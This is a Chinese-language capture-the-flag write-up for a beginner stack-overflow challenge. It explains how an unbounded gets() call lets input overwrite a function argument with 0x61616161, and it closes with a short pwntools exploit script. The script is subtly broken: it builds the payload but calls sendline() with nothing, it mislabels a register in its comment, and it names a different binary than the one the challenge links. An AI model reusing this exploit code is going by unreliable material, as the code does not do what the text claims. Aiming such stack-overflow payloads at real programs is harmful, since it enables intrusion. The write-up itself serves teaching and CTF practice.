题目:

通过网盘分享的文件:pwn1
链接: https://pan.baidu.com/s/1wbcX-sBng65_mNA0vrIKqQ?pwd=1234 提取码: 1234
(手机打开转存效果更佳)

知识点:栈溢出理解

先来复习一下,栈的结构和参数存储的位置

image-20250315142713100

静态分析

image-20250315142722818

把a1替换为0x61616161

image-20250315142727399

gets() 函数不会限制用户输入的数据长度,而变量 s 的大小不是无限的

s输入的目的是替换 a1的值,将 a1 改写为 0x61616161,让if判断成立。

我们知道函数参数在栈中是在EIP(返回地址)的上面(地址的上面,高地址)

现在我们选择使用cyclic去预判(IDA有时候显示的不准确,汇编层面可以看s局部变量存储方式,如果是带有ebp寄存器参与可能显示不准确)

image-20250315142732088

cyclic结合gdb的方式

image-20250315142737323

image-20250315142743209

‘A’*28 + EBP值替换 + 返回地址(EIP) + 0x61616161

EXP

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

context(arch='i386',os='linux')

p= process('./pwn0')

#局部变量 + ESP + EIP + 替换a1函数参数
shell_code=b'A'*28+b's'*4+b'e'*4+p32(0x61616161)

p.sendline()

p.interactive()
2025-03-15

⬆︎TOP